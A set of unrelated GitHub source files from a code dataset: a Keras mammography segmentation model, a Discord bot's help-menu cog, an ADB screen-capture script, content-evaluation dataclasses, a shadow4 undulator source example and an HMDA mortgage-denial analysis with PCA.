1), padding=\"same\")(y)\n return y \n\ndef squeeze_excite_block(inputs, ratio=8):\n init = inputs\n channel_axis = -1\n filters = init.shape[channel_axis]\n se_shape = (1, 1, filters)\n\n se = GlobalAveragePooling2D()(init)\n se = Reshape(se_shape)(se)\n se = Dense(filters // ratio, activation='relu', kernel_initializer='he_normal', use_bias=False)(se)\n se = Dense(filters, activation='sigmoid', kernel_initializer='he_normal', use_bias=False)(se)\n\n x = Multiply()([init, se])\n return x\n\ndef resnet_block(x, n_filter, strides=1):\n x_init = x\n\n ## Conv 1\n x = BatchNormalization()(x)\n x = Activation(\"relu\")(x)\n x = Conv2D(n_filter, (3, 3), padding=\"same\", strides=strides)(x)\n ## Conv 2\n x = BatchNormalization()(x)\n x = Activation(\"relu\")(x)\n x = Conv2D(n_filter, (3, 3), padding=\"same\", strides=1)(x)\n\n ## Shortcut\n s = Conv2D(n_filter, (1, 1), padding=\"same\", strides=strides)(x_init)\n s = BatchNormalization()(s)\n\n ## Add\n x = Add()([x, s])\n x = squeeze_excite_block(x)\n return x\n\n\ndef get_rwnet(): \n inputs = Input((img_rows, img_cols, 3))\n conv1 = resnet_block(inputs,32 , strides=1)\n pool1 = MaxPooling2D(pool_size=(2, 2))(conv1)\n\n conv2 = resnet_block(pool1,64 , strides=1)\n pool2 = MaxPooling2D(pool_size=(2, 2))(conv2)\n\n conv3 = resnet_block(pool2, 128, strides=1)\n pool3 = MaxPooling2D(pool_size=(2, 2))(conv3)\n\n conv4 = resnet_block(pool3, 256, strides=1)\n pool4 = MaxPooling2D(pool_size=(2, 2))(conv4)\n\n conv5 = aspp_block(pool4, 512)\n up6 = concatenate([Conv2DTranspose(256, (2, 2), strides=(2, 2), padding='same')(conv5), conv4], axis=3)\n conv6 = resnet_block(up6, 256, strides=1)\n \n up7 = concatenate([Conv2DTranspose(128, (2, 2), strides=(2, 2), padding='same')(conv6), conv3], axis=3)\n conv7 = resnet_block(up7, 128, strides=1)\n\n up8 = concatenate([Conv2DTranspose(64, (2, 2), strides=(2, 2), padding='same')(conv7), conv2], axis=3)\n conv8 = resnet_block(up8, 64, strides=1)\n \n up9 = concatenate([Conv2DTranspose(32, (2, 2), strides=(2, 2), padding='same')(conv8), conv1], axis=3)\n conv9 = resnet_block(up9, 32, strides=1)\n down10 = concatenate([Conv2D(32, (3, 3), activation='relu', padding='same')(conv9), conv9], axis=3) \n conv10 = resnet_block(down10, 32, strides=1) \n pool10 = MaxPooling2D(pool_size=(2, 2))(conv10)\n\n down11 = concatenate([Conv2D(64, (3, 3), activation='relu', padding='same')(pool10), conv8], axis=3)\n conv11 = resnet_block(down11, 64, strides=1)\n pool11 = MaxPooling2D(pool_size=(2, 2))(conv11)\n \n down12 = concatenate([Conv2D(128, (3, 3), activation='relu', padding='same')(pool11), conv7], axis=3)\n conv12 = resnet_block(down12, 128, strides=1)\n pool12 = MaxPooling2D(pool_size=(2, 2))(conv12)\n\n down13 = concatenate([Conv2D(256, (3, 3), activation='relu', padding='same')(pool12), conv6], axis=3)\n conv13 = resnet_block(down13, 256, strides=1)\n pool13 = MaxPooling2D(pool_size=(2, 2))(conv13)\n conv14 = aspp_block(pool13, 512)\n \n up15 = concatenate([Conv2DTranspose(256, (2, 2), strides=(2, 2), padding='same')(conv14), conv13], axis=3)\n conv15 = resnet_block(up15, 256, strides=1) \n \n up16 = concatenate([Conv2DTranspose(128, (2, 2), strides=(2, 2), padding='same')(conv15), conv12], axis=3)\n conv16 = resnet_block(up16, 128, strides=1) \n\n up17 = concatenate([Conv2DTranspose(64, (2, 2), strides=(2, 2), padding='same')(conv16), conv11], axis=3)\n conv17 = resnet_block(up17, 64, strides=1) \n \n up18 = concatenate([Conv2DTranspose(32, (2, 2), strides=(2, 2), padding='same')(conv17), conv10], axis=3)\n conv18 = resnet_block(up18, 32, strides=1) \n \n conv18 = aspp_block(conv18, 32)\n \n conv19 = Conv2D(1, (1, 1), activation='sigmoid')(conv18)\n model = Model(inputs=[inputs], outputs=[conv19])\n # model.compile(optimizer=adam_v2(lr=1e-4), loss=[loss], metrics=[dice_coef, iou_coef])\n model.compile(optimizer=tf.keras.optimizers.Adam(learning_rate=1e-4), loss=[loss], metrics=[dice_coef, iou_coef])\n return model\n\ndef segment(model_path, img):\n model = get_rwnet()\n model.load_weights(model_path)\n img_mask = model.predict(img, verbose=0)[0]\n img_mask = (img_mask[:, :, 0] * 255.).astype(np.uint8)\n return img_mask","repo_name":"lucasca95/uofl-mammography-backend","sub_path":"cronjob/segmentation.py","file_name":"segmentation.py","file_ext":"py","file_size_in_byte":6534,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"32980221648","text":"import discord\nimport random\nimport asyncio\nfrom discord import embeds\nfrom discord.ext import commands\n\nclass Help(commands.Cog):\n\n def __init__(self, client):\n self.client = client\n \n @commands.command()\n async def help(self,ctx):\n #Help Pages\n page1 = discord.Embed(title=\"Help List\", description=\"Use the buttons below to navigate between help pages.\", color=0x01a500)\n page1.set_author(name=\"MushBall\")\n page1.set_thumbnail(url=\"https://cdn.frankerfacez.com/emoticon/388352/4\")\n page1.add_field(name=\"**.casinohelp**\",value=\"Gamble a little bit, its fun\",inline=False)\n page1.add_field(name=\"**.customhelp**\", value=\"If you wanna see custom commands\",inline=False)\n page1.add_field(name=\"**.funhelp**\", value=\"If you wanna see all the random commands I have\",inline=False)\n page1.set_footer(text=\"@Mush if you wanna suggest something\")\n\n await ctx.send(embed=page1)\n\n @commands.command()\n async def funhelp(self,ctx):\n #Help Pages\n page1 = discord.Embed(title=\"Fun Commands List\", description=\"Use the buttons below to navigate between help pages.\", color=0x01a500)\n page1.set_author(name=\"MushBall\")\n page1.set_thumbnail(url=\"https://cdn.frankerfacez.com/emoticon/388352/4\")\n page1.set_footer(text=\"@Mush if you want your own personal command but no guarantees i'll make it\")\n page1.add_field(name=\"**.mushball ''insert question here''** \",value=\"I answer yes or no questions\",inline=False)\n page1.add_field(name=\"**.kith `<@USER>`**\",value=\"Give someone a kith\",inline=False)\n page1.add_field(name=\"**.slap `<@USER>`**\",value=\"Slap someone, they probably deserve it\",inline=False)\n page1.add_field(name=\"**.pat `<@USER>`**\",value=\"Everyone deserves some headpats\",inline=False)\n page1.set_footer(text= \"@Mush if you want your own personal command but no guarantees i'll make it\")\n \n page2 = discord.Embed(title=\"Fun Commands List\", description=\"Page 2\", color=0x01a500)\n page2.set_author(name=\"MushBall\")\n page2.set_thumbnail(url=\"https://cdn.frankerfacez.com/emoticon/388352/4\")\n page2.add_field(name=\"**.glock `<@USER>`**\",value=\"Some people just need to get glocked\",inline=False)\n page2.add_field(name=\"**.yeet `<@USER>`**\",value=\"I yeet a mf\",inline=False)\n page2.add_field(name=\"**.homies `<@USER>`**\", value=\"Always kiss your homies\",inline=False)\n page2.add_field(name=\"**.mushsleep `<@USER>`**\",value=\"I politely tell the person you @ to goto sleep\",inline=False)\n page2.add_field(name=\"**.salty `<@USER>`**\",value=\"For when someones being salty\",inline=False)\n page2.add_field(name=\"**.mushmatch `<@USER>`**\",value=\"Based off a very advanced algorithm and not a random number, I'll tell you the compatibility % of you and another person (I can rig this for a price)\",inline=False)\n page2.set_footer(text=\"@Mush if you wanna suggest something\")\n\n page3 = discord.Embed(title=\"Fun Commands List\", description=\"Page 3\", color=0x01a500)\n page3.set_author(name=\"MushBall\")\n page3.set_thumbnail(url=\"https://cdn.frankerfacez.com/emoticon/388352/4\")\n page3.add_field(name=\"**.afl**\",value=\"Jas fucked up once, and we don't let her forget\",inline=False)\n page3.add_field(name=\"**.milk**\", value=\"I hate milk, but I got a lot of gifs of it\",inline=False)\n page3.add_field(name=\"**.step `<@USER>`**\",value=\"Once again, I think this a degrading thing but I dont judge\",inline=False)\n page3.add_field(name=\"**.spit `<@USER>`**\",value=\"I think this is for the people that like degrading\",inline=False)\n page3.add_field(name=\"**.cry**\",value=\"Demon fighting hours\",inline=False)\n page3.set_footer(text=\"@Mush if you wanna suggest something\")\n\n\n page4 = discord.Embed(title=\"Fun Commands List\", description=\"Last Page\", color=0x01a500)\n page4.set_author(name=\"MushBall\")\n page4.set_thumbnail(url=\"https://cdn.frankerfacez.com/emoticon/388352/4\")\n page4.add_field(name=\"**.mushcrypto**\",value=\"I give a summary of the crypto market today that I wrote and definitely didn't steal\",inline=False)\n page4.add_field(name=\"**.fuck**\", value=\"Just do it and see for yourself\",inline=False)\n page4.add_field(name=\"**.food**\",value=\"I suggest something random to eat/drink\",inline=False)\n page4.add_field(name=\"**.bar**\",value=\"I have a lot of alcoholic drinks to recommend ;)\",inline=False)\n page4.add_field(name=\"**.hi**\",value=\"Say hi to me, I get lonely\",inline=False)\n page4.add_field(name=\"**.bye**\",value=\"Be nice and say bye\",inline=False)\n page4.add_field(name=\"**.shots**\", value=\"SHOTS\",inline=False)\n page4.set_footer(text=\"@Mush if you wanna suggest something\")\n\n self.client.help_pages = [page1, page2, page3,page4]\n buttons = [u\"\\u2B05\", u\"\\u27A1\"] # skip to start, left, right, skip to end\n current = 0\n msg = await ctx.send(embed=self.client.help_pages[current])\n \n for button in buttons:\n await msg.add_reaction(button)\n \n while True:\n try:\n reaction, user = await self.client.wait_for(\"reaction_add\", check=lambda reaction, user: user == ctx.author and reaction.emoji in buttons, timeout=60.0)\n\n except asyncio.TimeoutError:\n return \n\n else:\n previous_page = current\n \n if reaction.emoji == u\"\\u2B05\":\n if current > 0:\n current -= 1\n \n elif reaction.emoji == u\"\\u27A1\":\n if current < len(self.client.help_pages)-1:\n current += 1\n\n for button in buttons:\n await msg.remove_reaction(button, ctx.author)\n\n if current != previous_page:\n await msg.edit(embed=self.client.help_pages[current])\n \n @commands.command()\n async def customhelp(self,ctx):\n #Help Pages\n page1 = discord.Embed(title=\"Custom Commands List\", description=\"Use the buttons below to navigate between help pages.\", color=0x01a500)\n page1.set_author(name=\"MushBall\")\n page1.set_thumbnail(url=\"https://cdn.frankerfacez.com/emoticon/388352/4\")\n page1.set_footer(text=\"@Mush if you want your own personal command but no guarantees i'll make it\")\n page1.add_field(name=\"**.yumo `<@USER>`**\",value=\"Slap someone\",inline=False)\n page1.add_field(name=\"**.cabby**\", value=\"I send random cabbage gifs\",inline=False)\n page1.add_field(name=\"**.chea**\",value=\"I send a gif of Chea\",inline=False)\n page1.add_field(name=\"**.moggles**\",value=\"Let me share some wisdom from Old Man Moggles\",inline=False)\n page1.add_field(name=\"**.annie**\",value=\"Get some plant facts from Annie\", inline=False)\n page1.add_field(name=\"**.angie**\",value=\"Say something nice to Ang! (If you'd like to add to this list @Mush or DM him)\",inline=False)\n page1.add_field(name=\"**.sleppy**\", value=\"Swag\", inline=False)\n page1.set_footer(text= \"@Mush if you want your own personal command but no guarantees i'll make it\")\n \n page2 = discord.Embed(title=\"Commands List\", description=\"Page 2\", color=0x01a500)\n page2.set_author(name=\"MushBall\")\n page2.set_thumbnail(url=\"https://cdn.frankerfacez.com/emoticon/388352/4\")\n page2.add_field(name=\"**.salty `<@USER>`**\",value=\"If someones being salty\",inline=False)\n page2.add_field(name=\"**.dev**\", value=\"GREEK GOD SUMMER\", inline=False)\n page2.add_field(name=\"**.rio `<@USER>`**\",value=\"Give someone a kith\",inline=False)\n page2.add_field(name=\"**.pat**\", value=\"Pat someone\", inline=False)\n page2.add_field(name=\"**.patrick *playlist***\",value=\"Let me give you a song to listen to. Add *playlist* if you want the full playlist\",inline=False)\n page2.add_field( name=\"**.goose *playlist***\",value=\"Check out Goose's song of the day. Add *playlist* if you want the full playlist\",inline=False)\n page2.add_field(name=\"**.sarah**\", value=\"*NUGGIES*\", inline=False)\n \n page2.set_footer(text=\"@Mush if you want your own personal command but no guarantees i'll make it\")\n\n page3 = discord.Embed(title=\"Commands List\", description=\"Page 3\", color=0x01a500)\n page3.set_author(name=\"MushBall\")\n page3.set_thumbnail(url=\"https://cdn.frankerfacez.com/emoticon/388352/4\")\n page3.add_field(name=\"**.zhu `<@USER>`**\",value=\"Drink some joose\",inline=False)\n page3.add_field(name=\"**.bubu**\",value=\"Lemme give you the best pickup lines ever\", inline=False)\n page3.add_field(name=\"**.dahlia**\",value=\"Idk I just do nothing\",inline=False)\n page3.add_field(name=\"**.waylan**\", value=\"Simp time\", inline=False)\n page3.add_field(name=\"**.charie**\", value=\"**PRAISE VODKA**\", inline=False)\n page3.add_field(name=\"**.scribbles `<@USER>`**\", value=\"Glock a mf\", inline=False)\n page3.add_field(name=\"**.burg**\", value=\"I just make no sense\", inline=False)\n page3.set_footer(text=\"@Mush if you want your own personal command but no guarantees i'll make it\")\n\n page4 = discord.Embed(title=\"Commands List\", description=\"Page 4\", color=0x01a500)\n page4.set_author(name=\"MushBall\")\n page4.set_thumbnail(url=\"https://cdn.frankerfacez.com/emoticon/388352/4\")\n page4.add_field(name=\"**.jeff**\",value=\"Cute dancing bear\",inline=False)\n page4.add_field(name=\"**.oen**\",value=\"Just Oen being Oen\", inline=False)\n page4.add_field(name=\"**.soda**\",value=\"Soda being weird as always\",inline=False)\n page4.add_field(name=\"**.franny**\", value=\"No concert\", inline=False)\n page4.add_field(name=\"**.kit**\", value=\"Idk why she's so obssessed with milk\", inline=False)\n page4.add_field(name=\"**.jas**\", value=\"Jas crys a lot I guess\", inline=False)\n page4.add_field(name=\"**.ikalgo**\", value=\"He's wholesome (sometimes)\", inline=False)\n page4.set_footer(text=\"@Mush if you want your own personal command but no guarantees i'll make it\")\n\n page5 = discord.Embed(title=\"Commands List\", description=\"Last Page\", color=0x01a500)\n page5.set_author(name=\"MushBall\")\n page5.set_thumbnail(url=\"https://cdn.frankerfacez.com/emoticon/388352/4\")\n page5.add_field(name=\"**.capi**\", value=\"Goose is all hers\", inline=False)\n page5.add_field(name=\"**.nate `<@USER>`**\", value=\"Nate likes spitting on people\", inline=False)\n page5.add_field(name=\"**.anise `<@USER>`**\", value=\"Anise likes stepping on people\", inline=False)\n page5.set_footer(text=\"@Mush if you want your own personal command but no guarantees i'll make it\")\n\n self.client.help_pages = [page1, page2, page3,page4,page5]\n buttons = [u\"\\u2B05\", u\"\\u27A1\"] # skip to start, left, right, skip to end\n current = 0\n msg = await ctx.send(embed=self.client.help_pages[current])\n \n for button in buttons:\n await msg.add_reaction(button)\n \n while True:\n try:\n reaction, user = await self.client.wait_for(\"reaction_add\", check=lambda reaction, user: user == ctx.author and reaction.emoji in buttons, timeout=60.0)\n\n except asyncio.TimeoutError:\n return \n\n else:\n previous_page = current\n \n if reaction.emoji == u\"\\u2B05\":\n if current > 0:\n current -= 1\n \n elif reaction.emoji == u\"\\u27A1\":\n if current < len(self.client.help_pages)-1:\n current += 1\n\n for button in buttons:\n await msg.remove_reaction(button, ctx.author)\n\n if current != previous_page:\n await msg.edit(embed=self.client.help_pages[current])\n\n @commands.command()\n async def casinohelp(self,ctx):\n #Help Pages\n page1 = discord.Embed(title=\"**Page 1 | __Games__**\", color=0x01a500)\n page1.set_author(name=\"Commands List\")\n page1.set_thumbnail(url=\"https://cdn.frankerfacez.com/emoticon/388352/4\")\n page1.add_field(name=\"**.coinflip `` ``**\", value=\"Gamble on a coinflip *win 2x your bet*\", inline=False)\n page1.add_field(name=\"**.highlow `` ``**\", value=\"Bet on wheter a randum number is going to be high or low *win 2x your bet*\", inline=False)\n page1.add_field(name=\"**.blackjack ``**\", value=\"Lets see if you can beat the dealer *win 2x your bet*\", inline=False)\n page1.add_field(name=\"**.slots ``**\", value=\"Try your luck playing slots *win 10x your bet*\", inline=False)\n page1.add_field(name=\"**.cups `1-4` ``**\", value=\"Guess which cup the ball is under *win 3x your bet*\", inline=False)\n page1.add_field(name=\"**.lottery**\", value=\"For when you're feeling lucky\", inline=False)\n page1.set_footer(text=\"@Mush if you wanna suggest something\")\n \n page2 = discord.Embed(title=\"**Page 2 | __2 Player Games__**\", color=0x01a500)\n page2.set_author(name=\"Commands List\")\n page2.set_thumbnail(url=\"https://cdn.frankerfacez.com/emoticon/388352/4\")\n page2.add_field(name=\"**.rps `<@USER>` ``**\", value=\"Play rock, paper, scissors with someone *win whatever you bet*\", inline=False)\n page2.add_field(name=\"**.ttt `<@USER>` ``**\", value=\"Play tic tac toe with someone *win whatever you bet*\", inline=False)\n page2.add_field(name=\"**.connect4 `` ``**\", value=\"Play connect4 with me or with someone *win whatever you bet*\", inline=False)\n page2.set_footer(text=\"@Mush if you wanna suggest something\")\n\n page3 = discord.Embed(title=\"**Page 3 | __Casino Commands__**\", color=0x01a500)\n page3.set_author(name=\"Commands List\")\n page3.set_thumbnail(url=\"https://cdn.frankerfacez.com/emoticon/388352/4\")\n page3.add_field(name=\"**.balance**\", value=\"Check your current balance\", inline=False)\n page3.add_field(name=\"**.deposit**\", value=\"Deposits your money into your bank\", inline=False)\n page3.add_field(name=\"**.withdraw**\", value=\"Withdraws money into your wallet\", inline=False)\n page3.add_field(name=\"**.daily**\", value=\"Get your daily free money\", inline=False)\n page3.add_field(name=\"**.rob `<@USER>`**\", value=\"Steal someones money\", inline=False)\n page3.add_field(name=\"**.shophelp**\", value=\"Checkout the giftshop\", inline=False)\n page3.add_field(name=\"**.leaderboard**\", value=\"See who's the richest\", inline=False)\n page3.set_footer(text=\"@Mush if you wanna suggest something\")\n\n page4 = discord.Embed(title=\"**Page 4 | _Shop Commands__**\", color=0x01a500)\n page4.set_author(name=\"Commands List\")\n page4.set_thumbnail(url=\"https://cdn.frankerfacez.com/emoticon/388352/4\")\n page4.add_field(name=\"**.shop**\", value=\"See what roles are for sale\", inline=False)\n page4.add_field(name=\"**.buy `<@ROLE>`\\`'ROLE NAME'`**\", value=\"Buy a role from the shop. If role isn't mentionably surround role name with quotes\", inline=False)\n page4.set_footer(text=\"@Mush if you wanna suggest something\")\n\n self.client.help_pages = [page1, page2, page3, page4]\n buttons = [u\"\\u2B05\", u\"\\u27A1\"] # skip to start, left, right, skip to end\n current = 0\n msg = await ctx.send(embed=self.client.help_pages[current])\n \n for button in buttons:\n await msg.add_reaction(button)\n \n while True:\n try:\n reaction, user = await self.client.wait_for(\"reaction_add\", check=lambda reaction, user: user == ctx.author and reaction.emoji in buttons, timeout=60.0)\n\n except asyncio.TimeoutError:\n return \n\n else:\n previous_page = current\n \n if reaction.emoji == u\"\\u2B05\":\n if current > 0:\n current -= 1\n \n elif reaction.emoji == u\"\\u27A1\":\n if current < len(self.client.help_pages)-1:\n current += 1\n\n for button in buttons:\n await msg.remove_reaction(button, ctx.author)\n\n if current != previous_page:\n await msg.edit(embed=self.client.help_pages[current])\n\n @commands.command()\n async def musichelp(self,ctx):\n #Help Pages\n page1 = discord.Embed(title=\"**__Music Help__**\", color=0x01a500)\n page1.set_author(name=\"Commands List\")\n page1.set_thumbnail(url=\"https://cdn.frankerfacez.com/emoticon/388352/4\")\n page1.add_field(name=\"**.play **\", value=\"Play a song from YouTube (If a song is already playing, your song gets added to the queue)\", inline=False)\n page1.add_field(name=\"**.skip**\", value=\"Skips the current song playing\", inline=False)\n page1.add_field(name=\"**.clear**\", value=\"Clears the queue\", inline=False)\n page1.add_field(name=\"**.queue** \", value=\"Shows the song queue (Add page # to go through pages)\", inline=False)\n page1.add_field(name=\"**.delete** \", value=\"Deletes a song in the queue\", inline=False)\n \n await ctx.send(embed=page1)\n \n\n \ndef setup(client):\n client.add_cog(Help(client))","repo_name":"MushhRa/MushBall-Discord-Bot","sub_path":"cogs/help.py","file_name":"help.py","file_ext":"py","file_size_in_byte":17691,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"52"} +{"seq_id":"35780059909","text":"#!/usr/bin/env python3\n\n# https://github.com/engineer-man/youtube/blob/master/105/stick_hero.py\n\nfrom ppadb.client import Client as AdbClient\n\nfrom PIL import Image\nimport numpy\nimport time\n\nadb = AdbClient(host='127.0.0.1', port=5037)\ndevices = adb.devices()\n\nif len(devices) == 0:\n print('no device attached')\n quit()\n\ndevice = devices[0]\n\n#while True:\nimage = device.screencap()\nwith open('screen.png', 'wb') as f:\n f.write(image)\nimage = Image.open('screen.png')\nimage = numpy.array(image, dtype=numpy.uint8)","repo_name":"JoSSte/pyFlowfreeSolver","sub_path":"flow.py","file_name":"flow.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"69940792804","text":"\"\"\"\nDataclasses that are relevant in the context of the content_evaluation.\n\"\"\"\nfrom dataclasses import dataclass, replace\nfrom typing import Generic, Optional, TypeVar\n\nfrom maus.edifact import EdifactFormat, EdifactFormatVersion\n\n_BodyT = TypeVar(\"_BodyT\")\n\"\"\"\nthe type of the data on which the evaluations are performed\n\"\"\"\n\n\n@dataclass\nclass EvaluatableData(Generic[_BodyT]):\n \"\"\"\n Data that can be processed/evaluated by an evaluator. They must not change during a content_evaluation run.\n The evaluatable data act as a flexible container to pass information that might be necessary for the\n content_evaluation. As of now (because our content_evaluation capabilities are quite limited) the only information\n provided is the meta seed of the message itself. But in the future the data provided might grow.\n \"\"\"\n\n body: _BodyT #: the body of the message that is being validated in the respective format (e.g. an edifact_seed)\n edifact_format: EdifactFormat #: the format of the evaluatable message (e.g. UTILMD)\n edifact_format_version: EdifactFormatVersion #: the format version of the evaluable data (e.g. FV2210)\n # ideas for what else could go here:\n # - pruefidentifikator to tweak the content_evaluation depending on the situation?\n\n\n# pylint:disable=too-few-public-methods\nclass EvaluatableDataProvider(Generic[_BodyT]):\n \"\"\"\n This is just a dummy class that is used for dependency injection.\n Use it to call binder.bind_to_provider(EvaluatableDataProvider, func_that_returns_evaluatable_data_goes_here)\n during dependency injection.\n See https://github.com/ivankorobkov/python-inject#why-no-scopes\n \"\"\"\n\n\n@dataclass\nclass EvaluationContext:\n \"\"\"\n A content_evaluation context describes the setting in which a condition shall be evaluated. The content_evaluation\n context might have different values for the same condition in one content_evaluation run. E.g. if the purpose of the\n condition is to make sure that every Zähler with zähler type \"EHZ\" has some properties the context of the\n content_evaluation is one zähler entry although there might be multiple zählers present in the message.\n \"\"\"\n\n scope: Optional[\n str\n ] # jsonpath that refers to the scope of the content_eval. If None, then \"$\" = entire message is used as scope.\n\n\ndef copy_evaluation_context(context: EvaluationContext) -> EvaluationContext:\n \"\"\"\n Returns a deep copy of the provided context.\n This allows you to create a copy of a context instead of modifying the original context (as EvaluationContexts are\n \"pass by reference\")\n :param context:\n :return: a deep copy of the context\n \"\"\"\n return replace(context)\n","repo_name":"Hochfrequenz/ahbicht","sub_path":"src/ahbicht/content_evaluation/evaluationdatatypes.py","file_name":"evaluationdatatypes.py","file_ext":"py","file_size_in_byte":2712,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"27683143594","text":"#\n# examples for SourceUndulator to be used in ShadowOui\n#\nimport numpy\nfrom syned.storage_ring.electron_beam import ElectronBeam\n\nfrom shadow4.sources.undulator.s4_undulator import S4Undulator\nfrom shadow4.sources.undulator.s4_undulator_light_source import S4UndulatorLightSource\n\nif __name__ == \"__main__\":\n\n\n from srxraylib.plot.gol import plot, set_qt\n set_qt()\n\n do_plots = True\n\n\n ebeam = ElectronBeam(energy_in_GeV=6.04,\n energy_spread = 0.0,\n current = 0.2,\n number_of_bunches = 400,\n moment_xx=(400e-6)**2,\n moment_xxp=0.0,\n moment_xpxp=(10e-6)**2,\n moment_yy=(10e-6)**2,\n moment_yyp=0.0,\n moment_ypyp=(4e-6)**2 )\n\n und = S4Undulator(\n K_vertical=0.25, # syned Undulator parameter\n period_length=0.032, # syned Undulator parameter\n number_of_periods=50, # syned Undulator parameter\n emin=10490.0, # Photon energy scan from energy (in eV)\n emax=10510.0, # Photon energy scan to energy (in eV)\n ng_e=3, # Photon energy scan number of points\n maxangle=0.015, # Maximum radiation semiaperture in RADIANS\n ng_t=100, # Number of points in angle theta\n ng_p=11, # Number of points in angle phi\n ng_j=20, # Number of points in electron trajectory (per period) for internal calculation only\n code_undul_phot=\"internal\", # internal, pysru, srw\n flag_emittance=0, # when sampling rays: Use emittance (0=No, 1=Yes)\n flag_size=2, # when sampling rays: 0=point,1=Gaussian,2=FT(Divergences)\n )\n\n\n print(\"gamma: \", ebeam.gamma())\n print(\"resonance: \", und.resonance_energy(ebeam.gamma()))\n und.set_energy_monochromatic(und.resonance_energy(ebeam.gamma()))\n # sourceundulator._MAXANGLE *= 1.2\n\n # print(und.info())\n\n ls = S4UndulatorLightSource(name=\"\", electron_beam=ebeam, magnetic_structure=und,\n nrays=15000,seed=5655452)\n beam = ls.get_beam()\n\n print(ls.info())\n #\n # plot\n #\n if do_plots:\n from srxraylib.plot.gol import plot_image, plot_scatter\n\n radiation,photon_energy, theta,phi = ls.get_radiation_polar()\n plot_image(radiation[0],1e6*theta,phi,aspect='auto',title=\"intensity\",xtitle=\"theta [urad]\",ytitle=\"phi [rad]\")\n\n radiation_interpolated,photon_energy, vx,vz = ls.get_radiation_interpolated_cartesian()\n plot_image(radiation_interpolated[0],vx,vz,aspect='auto',title=\"intensity interpolated in cartesian grid\",xtitle=\"vx\",ytitle=\"vy\")\n\n polarization = ls.get_result_polarization()\n plot_image(polarization[0],1e6*theta,phi,aspect='auto',title=\"polarization\",xtitle=\"theta [urad]\",ytitle=\"phi [rad]\")\n\n\n\n print(\"Beam intensity: \",beam.get_column(23).sum())\n print(\"Beam intensity s-pol: \",beam.get_column(24).sum())\n print(\"Beam intensity: p-pol\",beam.get_column(25).sum())\n\n #\n # plot\n #\n if do_plots:\n plot_scatter(1e6*beam.rays[:,0],1e6*beam.rays[:,2],title=\"real space\",xtitle=\"X [um]\",ytitle=\"Z [um]\",show=False)\n plot_scatter(1e6*beam.rays[:,3],1e6*beam.rays[:,5],title=\"divergence space\",xtitle=\"X [urad]\",ytitle=\"Z [urad]\",show=True)\n\n plot(ls.get_photon_size_distribution()[0]*1e6,\n ls.get_photon_size_distribution()[1],\n title=\"Photon size distribution\",xtitle=\"R [um]\",ytitle=\"Intensity [a.u.]\")\n\n # check the correct size sampling (values must agree for FLAG_SIZE=1!!!)\n x_photon = beam.rays[:,0]\n z_photon = beam.rays[:,2]\n R = numpy.sqrt(x_photon**2 + z_photon**2)\n print(\">> s_phot, Std R\", ls.get_result_photon_size_sigma(), numpy.sqrt((R ** 2).sum() / (R.size - 1)))\n print(\">> s_phot, Std X\", ls.get_result_photon_size_sigma(), numpy.sqrt((x_photon ** 2).sum() / (x_photon.size - 1)))\n print(\">> s_phot, Std Z\", ls.get_result_photon_size_sigma(), numpy.sqrt((z_photon ** 2).sum() / (z_photon.size - 1)))\n","repo_name":"oasys-kit/shadow4","sub_path":"examples/sources/example_source_undulator.py","file_name":"example_source_undulator.py","file_ext":"py","file_size_in_byte":4002,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"52"} +{"seq_id":"26220189954","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport math\nfrom sklearn.linear_model import LogisticRegression\nimport statsmodels.api as sm\nfrom scipy import stats\nfrom statsmodels.stats.proportion import proportions_ztest\nfrom statsmodels.stats.weightstats import ttest_ind\nimport seaborn as sns\nfrom sklearn.svm import SVC\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn import tree\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import classification_report, confusion_matrix\nfrom sklearn.model_selection import KFold, cross_val_score\nfrom sklearn.decomposition import PCA\n\ndf = pd.read_csv('combined_ri_data.csv')\n#limit to one to four family dwellings\ndf = df[df['property_type_name']== 'One-to-four family dwelling (other than manufactured housing)']\n#limit to co_applicant_race == 'No co_applicant' \ndf = df[df['co_applicant_ethnicity_name'] == 'No co-applicant']\ndf['is_denial'] = (df['action_taken_name'] == 'Application denied by financial institution')\n\n#machine learning models\n'''\nclassifier to predict denial vs non denial\n'''\n#x = race, sex, income, loan amount, median hud income, county, census tract, tract_to_msamd_income, population, minority population\n#y = is_denied\n\ncategorical_features = ['applicant_race_name_1', 'applicant_sex_name', 'county_name', 'hud_median_family_income', 'census_tract_number']\ncontinuous_features = ['applicant_income_000s', 'loan_amount_000s']\nlabel = ['is_denial']\nreal_df = df[label + continuous_features]\nfor feature in categorical_features:\n\tsub_df = pd.get_dummies(df[feature])\n\treal_df = pd.merge(real_df, sub_df, left_index=True, right_index=True)\n\t\nreal_df = real_df.fillna(0)\n\nreal_df = real_df.sample(10000)\n\nog_Y = real_df[label].values\nog_Y = np.reshape(og_Y, (len(og_Y),))\nog_X = real_df.drop(columns = ['is_denial'])\n\n\n#PCA with visualization\npca = PCA(n_components = 3)\nscale_x = (og_X - og_X.min(axis=0)) / (og_X.max(axis=0) - og_X.min(axis=0))\nscale_x = scale_x.fillna(0)\npca.fit(scale_x)\nreduced = pca.transform(scale_x)\n\nzero_ind = np.where(og_Y == 0)\none_ind = np.where(og_Y == 1)\n\nfig = plt.figure()\nax = fig.add_subplot(projection='3d')\n\nax.set_title('PCA applied to the HMDA Mortgage Data Sample')\nax.set_xlabel('Principle Component 1')\nax.set_ylabel('Principle Component 2')\nax.set_zlabel('Principle Component 3')\n\nax.scatter(reduced[zero_ind,0], reduced[zero_ind,1], reduced[zero_ind,2], c='orange', label = 'not denied')\nax.scatter(reduced[one_ind,0], reduced[one_ind,1], reduced[one_ind,2], c='blue', label = 'denied')\n\nplt.legend(loc=\"right\")\n\nplt.show()\n\nX, X_Test, Y, Y_Test = train_test_split(og_X, og_Y, test_size = 0.20)\n#Y_Test = Y_Test['is_denial'].values\n#Y = Y['is_denial'].values\nprint(' ')\nprint('dummy accuracy', 1- sum(Y_Test)/len(Y_Test))\n\n\n'''\n#Logistic Regression\nclf = 